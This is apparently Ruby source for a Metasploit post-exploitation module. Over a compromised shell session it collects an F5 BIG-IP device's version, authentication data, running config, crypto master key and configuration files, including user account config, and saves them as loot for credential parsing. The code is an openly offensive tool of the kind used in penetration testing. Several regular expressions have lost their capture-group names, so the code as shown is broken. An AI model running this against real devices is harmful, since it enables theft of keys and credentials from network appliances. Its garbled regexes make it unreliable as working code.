## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Auxiliary::F5 def initialize(info = {}) super( update_info( info, 'Name' => 'F5 Gather Device General Information', 'Description' => %q{ This module collects a F5's device information and configuration. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die'], 'SessionTypes' => [ 'shell' ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) end def run # Get device prompt prompt = session.shell_command('?') started_tmos = false unless prompt.include? 'Commands:' started_tmos = true print_status('Moving to TMOS prompt') session.shell_command('tmsh') end prompt = session.shell_command('') # Get version info system_out = session.shell_command('show /sys version') # https://support.f5.com/csp/article/K8759 ver_loc = store_loot('f5.version', 'text/plain', session, system_out.strip, 'config.txt', 'F5 Version') vprint_good("Config information stored in to loot #{ver_loc}") if /^Main Package(?.+)\n\n/m =~ system_out # just capture the content to parse ver = [] if /^\s+Product\s+(?[\w-]+)$/ =~ content ver << product end if /^\s+Version\s+(?[\d.]+)$/ =~ content ver << version end if /^\s+Build\s+(?[\d.]+)$/ =~ content ver << build end print_good("Version: #{ver.join(' ')}") unless ver.empty? else print_bad('Unable to obtain system version information') end # run additional information gathering enum_tmos_configs(prompt) if started_tmos session.shell_command('quit') # exit tmos else session.shell_command('bash') # go to bash from tmos end enum_configs(prompt) end def enum_tmos_configs(prompt) host = session.session_host port = session.session_port exec_commands = [ { 'cmd' => 'show sys', 'fn' => 'show_sys', 'desc' => 'Get Device System Information on F5 Device' }, { 'cmd' => 'show auth', 'fn' => 'show_auth', 'desc' => 'Get User Account and Authentication Information on F5 Device' }, { 'cmd' => 'show cm', 'fn' => 'show_cm', 'desc' => 'Get Configuration Management Information on F5 Device' }, { 'cmd' => 'show net', 'fn' => 'show_net', 'desc' => 'Get Network Information on F5 Device' }, { 'cmd' => 'show running-config', 'fn' => 'show_running_config', 'desc' => 'Get Running Config on F5 Device' }, { 'cmd' => 'show sys crypto master-key', 'fn' => 'show_crypto_key', 'desc' => 'Get Crypto Master Key on F5 Device' }, ] exec_commands.each do |ec| command = ec['cmd'] cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '') if cmd_out.include?('Display all') cmd_out += session.shell_command('y') end if cmd_out.include?('---(less') cmd_out += session.shell_command(" \n" * 20) # 20 pages should be enough end # loop to ensure we get all content within the 5 sec window # rubocop:disable Lint/AssignmentInCondition loop do break unless out_tmp = session.shell_read cmd_out << out_tmp end # rubocop:enable Lint/AssignmentInCondition print_status("Gathering info from #{command}") cmd_loc = store_loot("F5.#{ec['fn']}", 'text/plain', session, cmd_out.strip, "#{ec['fn']}.txt", ec['desc']) vprint_good("Saving to #{cmd_loc}") f5_config_eater(host, port, cmd_out.strip, false) end end def enum_configs(prompt) host = session.session_host port = session.session_port # https://support.f5.com/csp/article/K26582310 exec_commands = [ { # High-level traffic management and system configuration, such as virtual servers, # profiles, access policies, iRules, and authentication settings 'cmd' => 'cat /config/bigip.conf', 'fn' => 'bigip.conf', 'desc' => 'Get Config on F5 Device' }, { # Base-level network and system configuration, such as VLANs, self IPs, # device service clustering (DSC), and provisioning 'cmd' => 'cat /config/bigip_base.conf', 'fn' => 'bigip_base.conf', 'desc' => 'Get Base Config on F5 Device' }, { # BIG-IP GTM/DNS-specific configuration such as Wide IPs, pools, data centers, # and servers 'cmd' => 'cat /config/bigip_gtm.conf', 'fn' => 'bigip_gtm.conf', 'desc' => 'Get GTM Config on F5 Device' }, { # Custom iApps templates 'cmd' => 'cat /config/bigip_script.conf', 'fn' => 'bigip_script.conf', 'desc' => 'Get iApps templates on F5 Device' }, { # User account configuration 'cmd' => 'cat /config/bigip_user.conf', 'fn' => 'bigip_user.conf', 'desc' => 'Get User Config on F5 Device' }, { # Custom BIG-IP system alerts 'cmd' => 'cat /config/user_alert.conf', 'fn' => 'user_alert.conf', 'desc' => 'Get System Alerts on F5 Device' }, ] exec_commands.each do |ec| command = ec['cmd'] cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '') print_status("Gathering info from #{command}") if cmd_out.include?('No such file or directory') || cmd_out.strip == '' print_error('File not found or empty') next end cmd_loc = store_loot("F5.#{ec['fn']}", 'text/plain', session, cmd_out.strip, "#{ec['fn']}.txt", ec['desc']) vprint_good("Saving to #{cmd_loc}") f5_config_eater(host, port, cmd_out.strip, false) end end end